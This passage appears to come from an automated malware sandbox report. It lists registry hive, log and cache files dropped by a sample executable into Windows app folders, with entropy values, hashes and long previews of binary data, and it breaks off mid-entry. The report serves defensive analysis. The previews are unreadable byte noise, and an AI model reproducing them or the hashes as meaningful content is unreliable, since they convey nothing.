SHA-512:	6BB0778AC309B7A862E702D0010734C8E65329242851B047DED43C9D7D2B6738927BC5596D01A1C783ED113D5C4B7ED347AD1FD4EB9F09A4766D79F89EEA7769
Malicious:	false
Preview:	regf.b'...>.....MY....]Q......0.=....?...!,C...Lk.#.#.C.3.,~.._..p......?..a.Q....]....y.w.V@./.X....'.j.\..w.7..Z..W..l@...`.\|-.)......X.".hI..q..(.._s.).)t.........w.\D.M.......r...f-._i0M.... .........F.J....[.0..([..R.,vj..V.{.d...W?m.H>7.B:.3.\|.W.M9J.....`h7.E...)A......e.q...... I9F..y/..I.8......U......K...z.....9Z^$.Em..;.......o...y......ja...lb$....\|r...u.W.h0....'..G'.H2F.[-...ZG..G....z...X...&.b...cf...8.P.....Kz....KH...J2&.....RR...L.'...q..e....n.Q..A.5...J[.4....7...[d..(l..a..)../d.jp.t....&.%I-lo>+4....e....3E,.(.\.6.O.$...6c.X..=B..\T.j......'.$..a.:.@..CK.......H.y.....j...P...$...i..9..=r1...T.[./}7.&..&..~q......d.8...O.yE4b....\.....gZ.oa .....h>.D.5..uA..l.......}..hEp...\|...1.Z..TNP..(.#....Ug..8)".LE\...I.G.L..Cgs.h...g..oJp..g.....Q...J.L....P...'......d7.(..i.NXSL...)h[...?.#C./....H....!Lwr.H.T.(e..G.B3......s<....3s..M.Y>)..%....x.....C...8.b4..n,\n>N..y..x.DQ]....!..Bq.G.A....<..7<.f..xDx.....

C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9770637593482725
Encrypted:	false
SSDEEP:	192:gKMgtljzWpiCM3g81ZE17tNzspslON5QpWZnJALf1bk:8gtJzNRi7zflOnvZn2hk
MD5:	F68A3C568DB645CD4BD096C1D1A3ECED
SHA1:	59736BA72F126A236F457F6B78A952D4D4B13EBE
SHA-256:	17ABEC0721C0CB36146B92497C049B0D559D3C02C9FC17FFF83060EC991EF62C
SHA-512:	3C961D0701B2275C948AD9D4DF3095E73231D14D53A1F091CBDB6DD45B1DC5549A719A7DC9E07F7E619E09FD176D47EE307FA6924C680936931F37B4B16C0A29
Malicious:	false
Preview:	regf.qW..6...jL.?....&.~,..hM.+h].w..(..o.s...........R1.vUp4..;..px]..d.R.ea.......f..K.w..U...KK.F.....F.........U..'....%.um.a...p..].#...h...PR..).........b,UU.Z.....'..7.Y..eZ2..~...s....>O....D..;D.m:...... .\|.Ze"K.u8+/.1......A.P...P.B.oBl.HNm.IJ...d..GLI.F.....b..LR....+.G.=..:p...iy8...9o}...dh.?......h..5....g..Rd;H.S...e...Uu.......w...#...:%L...t..>....~.&.w...TY..,9p.......T....T....e.L-S}9..P..;.bF...7...yZ\.D..G.e...N..M}..i. ........Z.w...46.T...k.f.7}~....\|.l.#F..,......z(>.=........`i..671,'...m..K9.A..G..<....J........akA..n!..0.....%.0...h....}..[e...e..1#...~9.c).)..i.f..FW.l.....h6...._q .AL..e...Kg......n(u.c.......k ....}H...(.f.e...3@O.K.k.'yh+l....o@j6Z.jWO~.WZ.....;4.`bT................J1.N......R........*k...].....}..\|.Pb@...l..BlN.y..._g.5i_S..1...r.MmI.%U..\|.f.0^............L.bd...O.&......h;\|.P.).........j..5..#s.8....xYLJ....<....b..%.m.?6.\|[.r.f.. ...{..g....~.L[.=26..l..$.g..d.cO..T.X.PJ...-. j$A..

C:\Users\user\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975013900436294
Encrypted:	false
SSDEEP:	192:LFdT099s+/S4nT1c6QVMxVan3IOnfmzpTV/lL8PCCb5:k3s+a4nT1clOxVanYO6xfEC25
MD5:	1B9DB3A3E7688DDE6DA8889F291ECD1F
SHA1:	36C9ABCB90B3C2EB9934ACF432FD3F6806368656
SHA-256:	0B568EC859AA292081082A72105C3EB697DDC011F0658B3844E748BC3F06188F
SHA-512:	E055463D1888E3C99759D6CEB9F0F048DD058BC76839FDF4EAAE267DCD6163183B86C8322C54F311DAFB0A2B790C76466FC4F0C68D589D15588FC503DF72C897
Malicious:	false
Preview:	regf.b...3..h..".$.T..D...e}....t....4..x.M.....}.=...(..k..ijB.S..I..w.w./y..Z{.%e...v...R9.....U....v.....%0.2>.'#k..)..q...f}Fs@rQ.y...I...K"..m\.5.....?..M...PA.;.....<J......jBU.M!.H.t.r.........h.R.a........8..:h.B.m.)<....n...o..-sL.pa...X...G..}...."...n..h.VUU.S.C.@..?]7...}....Q.+...Kb..D.8.b..xC ..a..z.^......8.%._.(..c3..Yf=..y>..l..w.\/.m&......8U.b..y.q.y....=.hq....}S..a.........?.L.f>.}.)..z2Q.H...Q..!5V."B..!..5....#.@p?.'3..U.vKL.!.F.].[l..q...;:..-.q.>o.O..#.)B..j\.U..8....2T...>...f7.i..'@D.<...n1R.!OeiY.... z..}0{..g..u.....K....... ...P...ve.G..`..v.<.Y.W.4.....f.....r.`...=<=)R...U..MDA.B5..u.O.[lBl>..NU.[..xn.......B..{...hI....&2D....U.u.........q...G...h)......D...>A.kc...k2.g}B.z.pq..d...i.......b.9&.v."..3...fx.....,.?-8....h..T.tyv.x.y-q..m...$%.[\z...o...m...MF.....wp.]..&~...;A...F........u,s[..1L.OU(.e. i... .2R..4c.e..).Y%.-..8k{$Y:.GR.C......R.->j...'.7....lX..k..e.?.:..b*nr,.m. ...WI.J...q.,..U.... ....L

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980794492168361
Encrypted:	false
SSDEEP:	192:598cjzW+fxsIeIR4EP4jBaZNqIBzf6HwvJTssjVeS1lKtgSpgCC8DN3:n8QzW+oIR48+eNvF6QvJTvjVplKr/93
MD5:	F943621852F0D607A471DF6877AF836E
SHA1:	DE68383024A080EADAE44A4A1411B638FA0EA79B
SHA-256:	2A21CAFFA5EEBF8B8272E412547E13A72B5C237090CA884F62F5B8ED89E228FB
SHA-512:	B51B0B03E15DF247FFAAE6F8F29FA6C81809F5E361AA320B9D12647EB3A34481C3957D7884C265E034DAD4D0C74C51D5E6B3EEFC6ED6E20A62629AB9CEA814DF
Malicious:	false
Preview:	regf..E..@!....c2..O.....,.)...<..[L..lX.-..er.]...]..b..t.N.C....(...\?.5...3.h......J.s`V...w.23.....(.Z.IO.t......"......W.]..R@.q..2..!..e.q....tt\|..{.D>.K\|Zy...F.}.<..l.../.@}...;.'..=.%..TNi{..e..Xcr..M.*K.R....+th.S...C./h.,.hh.CY..j.Y#......B.:}....i...A...f..SX.U..].ME.p....1k.ge..)=.A.H...?.&.OB.%!.....r...l...-..];.....,..c4.JWo..D...X.........'..M......J....O..`=.C4.CuZ.Nz..C.~.E'-..k.A....nG.;.N.E.]5.mO.y.Wb.t....R.Yfo..>.......F\|\|.vy...vn.n.v./.b......4....g..dV.].....U...t...n.0YE-....%...V#pG...z.j.O...G./.#4S.....X.+...).&.....%.....1.....E.}^...]..k.ZX(.w.m..?..J..y..,..dg.......i.R......6..J.....N...[.f..a........]...........IK.^. .G.OX.%....q..BR..P..T.!q.9w.1z.Ks......QPJ...L.s.. /l..:.c....r..#\D..lC..q...../...#...W../.z..J.oP\..}......o.>JDG.iR3..0...%c.3!.I..y).._..R~.5.1..).9...R..i>A......H..88x.....)#...Hz.a....?..m.[...Zhg...!..lz.k...(O..F.3....^......I.&.U....2.P..7Bk...U,.EWy...E....R.....=vs

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980061382129942
Encrypted:	false
SSDEEP:	192:TIwn7IdSX1UHvdkpdP0ozUv77sWNbHs/JlicZ+6rAUxP1gIx84:TISAHWdbzUD7sWR2j+6MUxL
MD5:	AE71DBA99B4052E46600EB9D1A554F4E
SHA1:	6F87BCD0D96C6CA0BA0EDF196C5977D8B2DF89C6
SHA-256:	F2DF0E54245E73C74C391D05F2E9623F67E7F56E93FEA6B7247306F2F66C32C5
SHA-512:	661F969F96AAEC68B3DC99F9255B794BC2A3491BC94BA49461A7273239674E1FBD752F422DD11D96B6AA554B625F93DC20FB846EABCC6D08AF4086CA74EE2836
Malicious:	false
Preview:	regf........Yj......sw...2'l2......O.u.....z....y.$J....F.r.....q..E.[..gLN8L\|^.`..z.g#.2W...u.p..9.Nl...<..,.-.o.~....D..o.<R...9....@Wr.i_...S.A..E.^.bU.....F....)f..:...#cl_d....c.i~..R.P.......p......Q......l._:`..n\|.w..:.!.$SD.}.4....e.r.......P.l...z..{..S.0{..ta.Q1..4X..'>.&.).....Q5..H..W[{.U....F.]..nKA.$z...e..D...4....nf.....c..p.vL.`f].y...6_..!q..B..G.\r....o.^.....q..K...T..b....I.Avn....H?.R...v..\|n..M....C.\a...t....JL0.c....o.[...s/..U..H.,..kD.m.]'_ER...`..f..$.<.\/.....%..W..(.......H..>......?....n....@'...Ld.Z.8....$C=b....=..9....N.3C.....dS......5.h...a....n."..z..b.}mS.k..g ..Tc.=Bv..S.........N......Q....\T...)...KK.$5..Y.D9X.w.}.q[..d..J.....UM.6\H@d.Rg.V...l......!.....{y.....\|.....U./.....{...]...P.-c.$<.nM......QTq...2..r....Y.....UL....=...D/....9.JATO..!.d]#..F..e..$f..Qk^.[h......v._.....:P..#..~&......@.!...".-.y....4b..c.l.V6.......x..P....L............d.H.j..}.tz.....V\|,;".....>H....s..1..

C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977621377544647
Encrypted:	false
SSDEEP:	192:r8C6ONLdwI5sKqDEd02GE0ci7yJaGLkAND77i1fp61DX:T6aRw6rMA02WcfyinUfp6V
MD5:	09FD3798ED7F78047C2EDB41EC45599F
SHA1:	7F1A0B77FF19F2CCD1680D3156D88006B8550042
SHA-256:	A2C98B2E22C9AF86CCA81277124EF771C06B04E40086B395E27C1BBE50F1D820
SHA-512:	31A8694AA152323EDDCC04515292E386D0C2EAA0B7814C82906D3C19DF3735AA5FC31673F81E0CAC28C233E6D47E1D26674F89BD171235026BF3FD69DEB13EDA
Malicious:	false
Preview:	regf.......Q...A..D.}.1\|%..nB..u..0#..6..M!.m.bV.8....e.T........+X...~P.&R.[.....j8....%.vDI.>n.i...my......&....x...rKy.....Y.].c#.,..MU<\|#.Qu....'.&..Ie\|.5.E.h.Z.<.j..@.4cE`;...c..wlE.U...AVk.{.....K..._.i.sw...Jn_.On.O....as.z.y.~....D.#.w....8.@h.@.g..:J5.5..(.}B......+6..._.,.~.8B?......Nc.@..s.D......\|....=...lM5..3...[...........=...RwiR.. ..f`T.F,LW.6.l(F...E#..5."2.....]g.<..~I@."g..7g./@....?..7..x6..?;.. : ..&..(..q.0. w./.W.?t.LR.I'.Qp...+.FV.y..X.K....f........<.>..[.y!....7.>i"..#M..,..L2....K#...d...6I..Y\N.41.....!..A1%...L.......y ..7C(.Q..;.-..n..$.[=.....6..DjU..sc.v.x..="u.T.._n:~.c.....2n.M.2.....:c..u....!.1&'{2.LA..Q.....y.7(Fd...._.F.&x1-b...EB4.hy#..H..n.^zD....Rz..t..<.`%..l.ml.s.\T.fm.n0..[.1.k..l.....B..u..#.uQ.. ......ru..?....().....B.h.a...D.1._3a..9..D_.........]............3.E....U.. l..g.....8N.Oq.B.>..]....d?...6m..Q......qbw.B..4?7..7.....]K>cQ/.^m.L.2....._....d.5.X..Ib.k...u....xJ./.N,..........?........

C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980308106290065
Encrypted:	false
SSDEEP:	192:1XQyMGrwqwvm5jF8RRci5MT3hGvY5gTrFIGz1P+ytRXGeIDoz6:1VMGrwqegSDcR3h1srdpvXFIr
MD5:	617247BACF07E0E4D9CDC3EEB124BB56
SHA1:	418B487C577EE619A63DA0CCD9FE5CEE310757E2
SHA-256:	87BF5D6AA9690E6BE9064E95127049F7AB2D5E9F7E755FF4BACAAC264B45F1CF
SHA-512:	9274CC986F41D04035B0452A9A9F7476BD3D6C2897F35F434A3F5D0A2E70FE98B27ECF5364A39D283D8869952766163ADF104F20E27647681BF3540F0360F903
Malicious:	false
Preview:	regf.h.m..}N.C..YN)iz.BY..^.yj...T...j.lv.,\....(dR}i..E..4IW...Ur0.].p....g....;..:z9.."..M.#g...4P3<.....B....NU.i..A;........&.6]....b... ..h.R.:..E.....i.7..c.nm`.5..@......c}0...@....Y..b....=....i7..H..NUn.......yO......D..Y.Zl.............9.....no..qJV.3..U.PK.......+/@U.....K..{..pw..D..'..(.......k.#..<...../.F.1-.`2L..9f.46!.bRn....:e..AT!TWG......P..k.\...4qzy..~.V/x.....>...).\..=.n+.YU.A...N...4E..")...F:.@%u..=W...o@....~.....J......Du.6._.."$.;.t....{.....>..u7I^p....\..M.k..Lb.7..M.EmY...5.".T.aC.Q..T.....i..8..?i.....DJW....F.F..M..\|.=P.... .Z....g~$+Q.-{./<..qkd..N.0..1.D.u....~...M.m..Q`.`...I.......+..0ZJ..~...~..k8...w..L..F..kB.uC2.2U.\....O....+%. ....J`....wk.\|..z.l8.../.I..y...~9F.....M7.?.=L.\......E....ioF.....Oi...4~J.......60m[+.1.......'2.........H].y....u...i7.k-..VqE......R.A'5....Bs~%#... 8..J.]... ..D0Hh$._{.N..J2.I`.xS.N......g..#.w...qp.......OU......*.+3k..v+.........[6.J...4...Ct.s>). 5...X..atP5d....

C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980405241420915
Encrypted:	false
SSDEEP:	192:J2vRR4UXywQojmkKpyEy+IAaz0uo2bPTHLPQBvw:8HXFjEy+fGTrPQBY
MD5:	ABC5E47E7A6698D5CA633EAC58ED96E9
SHA1:	3D5497090C970C9CD2977F0B3836E079AE97FB5B
SHA-256:	F4EF03FFEF37BA67EC1966BBF21EB63228D93E4CE1295F0DAAD0DE8BAB76168C
SHA-512:	6C27B6BF302417A77BF249C290C12B63B8FB399F5BADFCBD7EA475DB3DC43D7507D841D8B488D878346213822D83E4AC1DF6A225D66B18C3341BDE81E28798E4
Malicious:	false
Preview:	regf.vT.."7.u..\....B.....[......2....].z.rA&'...aNc.....~s.<rTb...CR..<.^...L.bC:.>n..........ud....-B...L.}.r......../I..dA{!S..n.9.M......K.pM...q..O,....&.C.%Tn...+&.G:..t.j.<(.P.[..S...7.MNH..\|.}.e.R....J...X....np......5.1..@V_.....G...4.UN...,xqv!.h.{....w........n6.c...m..W....Da6[3..v.xi..\<...H.MT....^.@.i.4.....!.i....J. ......yh.[...c.7-vW....{..D....Ckn./.#....6...&GX#..w.......?$.ko.....~j2}h..%...OS.....Q.P.E..^...l....._...ZR<Q)....{RC.@..M..v..W....E....1........rJP.Y$..Q..w.y.^.}hh...$Z.v..6..-..M...u.G......F3`.J3..ir8+>=..p;~ub....M......S./.3.~..D_...ABx3.....B...\.......~I.....H..(....p._..%....QQ.U..i.lJP..[Z.....[...$...?(..&f......zr..Lj..CJ.04.\NA4.<.A.j`c.X/.w......]9..%<..l..X.#C.d..g.jsP{..%Vw...N....i.y....<E.f....7........8.{...m...T..d.....n.9.)..Z....:........'.h...`..G..0...Qd.:.2."_kRk.V...Yqdm.3O.5hR;.u$ZG.c.I#Al_..&..Ll1vW.."..6%.@..OU..=.v:.&d..WU..d...UQ.!#)..Q....n`~..8.....7s..R.:Y...r=Hi1.".....

C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979223205031368
Encrypted:	false
SSDEEP:	192:1kAF2CXCmTkZt6LiR9zcvH/L+uZ9FrtvqcJQRb/rRT2AVW73qLDKf/5lYk6R+:1NFKmTkP8RvfLXzFV2hzRTPVWWarV6Q
MD5:	E6D3A5F6BD2C0EBE1CFA3A2FE1961440
SHA1:	DC9247BDA2BB6605308A9BB3AF582D8E30327064
SHA-256:	AD8DEFDC306BB4D3022FF636A5E428EE1FC529381B23EE6496F1DD3751C15584
SHA-512:	A3C0399CB1A72AA7C8E6E3E30BE6652E107C8F720E1CBDDD26FFC59A07AE645B81153B962DD0D948C210D9642755906D1FA7E95FBC2C32276D306D2B6A302319
Malicious:	false
Preview:	regf.X.dVY<..~...x.S..fB}A.T.~. .7m(jIC$n..`..z........4.!....gaX.=...a#P[F..<YJ.<.5.qN).g%s..a..0.....nBf.f...z...Z.ew.e....xY.Qv1...{..(.+...?.m......Gs..I.x.W....f....f..YH...?..N......K..;....K..\|9=..Kv..0./L.i_.J..a.N.2....l.R]Zg..\|... ...Q......s:&z.Lg1P.e.%...Uc~.rQj.T.?o5-.Y..W_.;...\.....X%....Gi'.D%eX....er.....U....Fv.c...g...gM{...I...A.p.w8.\|.Xz..._.......,.j...E......K..8%X..5q.S.c.....n..'6eO....U.#.G.bK....jH...%Ov....f......}.6(.\r.`Lt....t...i..S..v...K..1a. .}......"(.,..._....xw.Ed...v-...~B.j8.e.7.uk/....(...KU.u.oO$m.CG.w^...]X.\|).....7..Y.....`.,.v.z.v.L .9. .}..9......>.CZ]........'...M,.5.1,..k..w.(m.z....X.P.r...$..h..`.a..4........B(....}h.....1.j......(l....r./..[[.J.T..W.....F..H...H......7(...rm.r.-W...M...q&.A.....i{.;X0....4.a@P..l..7.NR.YZ....J.gI.t......QY.y".Q&d.N.\...)6....\.^4z?....3.p[.>...&......i..........x.wD..._...2..relK.nH}C{R./`e...2....QHC...........^6.-.+..9..L.........CVZ!....I.....w.{

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98044138034231
Encrypted:	false
SSDEEP:	192:6U75gRUWWjpYN6qyF66MYQoLdqrhfnJx0ZIMUH2Q/eet:j7iCWWj0pwTLdqKID2Qt
MD5:	76580997B8D509E9550A12695DDE1632
SHA1:	07057C80EA61E5EB45D164633F6E56CB74B81D48
SHA-256:	78F65B58795207AF86A0F75A2CB278D6DBD652C63A9D50036994151E26879606
SHA-512:	856986B5A180E3A123D69A9C542398066957D2284305DB4502E878E5D4A484727C64E6BE492C32F8B848F003239C29EFD923D381F906D59A69DF72BBE9CF7B13
Malicious:	false
Preview:	regf.9...(...r.Y..lE...3.H#.../n...h...p.~A=....Oh..a.h...zBxhP=...`.q.n& ...gkt....;.Y..r..Hy.d.....b.r...7...I.....XV.u>A8,7..}:...0....d.2..7G..K..0@..[.u.......B.d.V.KNy.H.....O..........P.H.........'......M..i../g.h.p.`.e.\.Y.y^Y......3...o..0U...+......Q.e.gx..u@o...i.....6R.5L.p....\|.k..)...\C..Tz\..B..$%S@.,j].dLq9.W.....n..s.E.'lX.@~d1i....NfFy..n...Z..A:..f..Ys...U..U85Y...s..E..x.F.L=..b..r.."2'.TZxGd.q./..X.s....N.0.M......$..i......A..j.........C.8P..q..AR..KqN....G.E<]..(.....WG.w....nD.@.....bM.{.{...k`...:....n..d.0Q.~...zv..W.Vq\|.M,..t\R..I.v..L......1B.])..?....TY.a;..d.}x..Ax_..]..pR..\B.....~..8F_..-...A....#f.+)....I(.UXl.....v..x.....L..d./B.7..+.V.=........s{"t......</....Z%...]"...X.....g.O.V.e.R.....C.}y.K.~UB.TY.f'{H......A..!M..F.r.Nb.sn.VS. ...t.\|...j...#4H.).{..3;4in..r.hByU...J...X...../).8.I..]-.}........+..\|.\....m.~$..w..I.+d.,=g.d0].N\F......aa.A..u.."..W.....I@............W^aZ4...P..!.2.r3....o.8b#..;.\|

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9775740512983395
Encrypted:	false
SSDEEP:	192:es4GlbEAZQ9BFod0mQGIWYpWiSRMKoQbFV+5Su:es/PwFokRWiS3w9
MD5:	31251B7D39057CA41609865C45FE6251
SHA1:	B6AAC205EFB2839BA34688470C77E068DE7402E2
SHA-256:	8739A1212C6789F60A978BCB44C062B55A6E796C490CF94D8608B6882FF94DF5
SHA-512:	082D46C224F255BE290FF87356B38DD5089E6EF104139C1C7C383EB5B1139717222F70D79AFBD5016CF57AB25B5057B7AA82D5D3BF21EE23972FF360B0E6C537
Malicious:	false
Preview:	regf..T.wK...:o.TNQ.i..m...M....c.....0:.w...n.'%.K..h.z..Y..-.Yw.R0......b..kc.SB{.1.W.r..Y..Rd...dp...5VQ.M.C..O.K..#......,.YC.FC...n>..uB..\R...%.G.Cu>..E...^....4.......$.o.fzaH.^.d$.bgR....W../.9U..vx.m......l.E..;.=..+N.0s.%.D...-.T.};.q].x....z.8..~h(Pt.A./\...4..Ux.._....q\LM...m...X.P.i.x5t...-.gi.@. ./=.......m`........R.I......r.....q..[.`...M.0.kD.T.Qol....0...^>{....}7.F....1.FJ.r.....n....p..O....l+.......E..Pu.\.P......D.k?......`=.Xg.......?.YQ.....}PNz.a........g4IXD#..]...SJ.j..`..FA.o....P<.{..xl.=.1M.....A}%o#.Y...E.....Q .6...(>C...R..8....1..3..x7......l.....fY#..%..@Y>48..q6.L7(..-...y."..>.m.D..s....A84....G.(H.....6..zN.....P.......2.2...0....s4..l-.w.h}..kO-.Y.I4..U]).@jX..h..Kx.....=...i....q..Rq;...(...4..E..o!.[.<...XZ.H.s,!d...r}....j....3.d..=..l.DR...f....T..L.HR..erz3a.....o.....t...........13..Qb?tt..f..7....9g.C..qG.u... %......A$........F.^...?.P(...M.h.......b..c....T....6u.4....a.g..-...O..,/%=/

C:\Users\user\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979277134064173
Encrypted:	false
SSDEEP:	192:YLprjZkKf06SCnNV0iaZN08SfKK4bZBuzbW:YLd6s06SCnEDZN0xfEbDO6
MD5:	B16C465FF8AA31C16343C59686901C44
SHA1:	2A8A99F6466B0B9489B6BE8C8251166C2D0994A6
SHA-256:	7B6DA12AB966CC82A1CAE863DCFFF76BB0481AFF147D1BF91D5B6E87C270D00B
SHA-512:	E1CDC9F7B11070D31386A719B8329FADA00D6AFA5F9A86A98B792E25EFFE41414CE1B2626BCAADF80AC115026A914480B82210A0148E6B4C9B64CBDBA1A84574
Malicious:	false
Preview:	regf.yW..;..4JzOj3N)..\|..%........t....?.....^.....i.......X.^........X5....\|R........J.B,..H...e.2I..<W.N'.N..\|.d.......d.^G...@....wyf..:P....,,w\!..x4......n.6..h:..:.81..z...?@'.[.d.Ji....9...WG...5+s6.H...x.f..2..d....~.......9(f.d.N...37.r5.....N....!_.I.n.%.....~..hT.wMH4....Ss.\.t..\|..G.o.%@?!.ZiO.W,Y.1.....^.w.8..tV.8...a./$X&.Rw=.............^.......5`.....n.....M......rB.<..P.J.,A..{7b>o...`.1.....v%3.J..`@.$.L....n%/ha.<..;0...G\.CW..H..:L.H.{...\|Cl.\.....D...H.....a...A.X3.....6......MLO..............Z...;;.Q$">..".. A....0.`.z.........a.H...u.Sucm.zUdT.8._.I}"......r./]Q+$.s...G.6.(.]%zB.j...K.\|...m.HK...e...-^8[....K..........V#.g..l.{5...m.b.N..h..p.h.N.n`x..."*.?...;..p.j...(...)..S...h.jf$>.K.).1.....^V.......VU..(y...'a.L[h.Q.k\.!.t../..}.`F~'2.C_Kcr..I49s.N9.......m.V.5.f.7.......qs.Z..gQ^.g.....?...\|8.o-.......$.&.3a&k...c.^.....;.....k..H.D.v...hW"Q6...VJ.O..`.Q.'.J....odPOb.I.{w!q\|..3$.........]}.w

C:\Users\user\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978003577687481
Encrypted:	false
SSDEEP:	192:lUuy9rB+6nm0Lum7Ux9qc8UVubI3CM1jxpzjNp3m74RDMZA+GFbQyuDF2/jc:ls9rq0Lx7U3f8KLCM9PNtm74RAZA+Shi
MD5:	B5729C684A3BB174AA392646C2A37883
SHA1:	40C43185293A66B406EE1FC70B35B7984B7FF250
SHA-256:	AB4481F5E8CDC325FCC770EC9400E584753E9C5BC89454C7E68EBEAE8C472AB4
SHA-512:	A5F5D3B7CCB008637E7B4870CA95C9C99C028FC2ED610B61B7DD15441362F838EC7CB406F4FB7B3E07235FFD41DDBD00F25F5BC0EAC44FCDF430BB72B27EB32C
Malicious:	false
Preview:	regf.&:..~v..1p@@....2<...v>Yp......NQ...s/.>.:......8.....Bwk9;LK.2......k .:;.E...6..I....N..02x.......ie.....{D..f....t..k.=T.3.W...w.G....\|1r%....:u....].&}X....]..F{,$.J...\...J/3g..G^K@.........T.IG..g8PN.-s[....b..yf....Ox.!.pl....xI..PQ.8;.,?Z.......D.%7......{.uV...?[..:..z....u..5.Q..?.$..1.euP=..p.2.._.6".......ohIz>..J...n..eRiX..Gy...F.Fx=.c7G.[..0.OPo..>..IJvcZ.{.......~)!....-c.z.<... ....]O..H.{.N....3\|sP..d0.>V.....)..R.7......?..qd./..Z.....X.%.a.........d....dQ9......C..~.d..Y.On6...[w.y.v...R!....z3.!7+...D.R...l...E.!.'.8.<..c....le.....8....8.C7:.Z.#@.;......=..R.{T4 .V..G.zO#..}.R.M9Uz..\|.........wY.s0._..c..*.3.J..W...J...X...4M....o"..8.......;.../u.]eC.m. Lz....5~.\.-..9.;x.O..-.....(......s.0\|.Q..E.......g3S...S.....M.,..sQ&.....:...^.Ce..S..[..Erk.e5...w......Q../Hx..u. qg....+.a6.k...m.M...G.......G.....J.^1N#.w....H!..~.O..?`...n.....Q..y.W....D..Z..b[8w...PY8(uF.xp.W....m.oSQm..h..T]..,....T.c.^t........

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\Microsoft\Internet Explorer\DOMStore\PPXWMIW2\www.office[1].xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	7.221943303813476
Encrypted:	false
SSDEEP:	6:4cvhRkqdUHYCj0TtAsAcWZQ6ifMVy+1uZrJ5M2cOA0Vf+M9Hs2xcii96Z:t3k2UHnjeiFifMM+81MvOlVf+M9M2ciD
MD5:	995FF284E48B0F978F23A996A0720C1D
SHA1:	7B29079B666D080FD5807A577B0A1BF5BAF65271
SHA-256:	4AF1A756957941F5F9A1CCEFF6A7E4EC2B4B0A208543C2A2EA8BE49D73C86667
SHA-512:	163474B812599F5D5B3B9AB31111DDA4D1281E76287696847A5F60A19637A147B355531AC31EF653F1BE945DDD62F5BAD7B1FF619428716E8D817F3C5878719A
Malicious:	false
Preview:	<root.a...#....y...I.0.3..,.P\|O.^.b..i.h...(.6...kO.[.}Pn..c.]Ytm.Z. .{.d.R.7^.m.M.g$....a:F....y.'_.sm{.T..'.}H...Zi.\|2..U: D..j.....DeE..m...h.X.h..E....CMny..a.R9.%g..!s...?w...T.P.6.lF........&Vc...[.....m[Q.P..F.....~.5/.%.......,#.4..#a.w"Z^..M.3.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalCache\Local\Microsoft\CLR_v4.0\UsageLogs\LocalBridge.exe.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1952
Entropy (8bit):	7.896515259568634
Encrypted:	false
SSDEEP:	48:Kg6Z94tLeHiOWVzrf5GTYRhRfUAvt+oJqxJD:Kgg94tLeqV3rhmKLqD
MD5:	08D5FFAD1DB28019E408AD9783DDB998
SHA1:	8C7EB86367C875F3753F88C96797A9AA5C85D00D
SHA-256:	41FB8B60FE96691BD142C6578DBD74CF716A323C4F80AAD5D1791A0391CA70CE
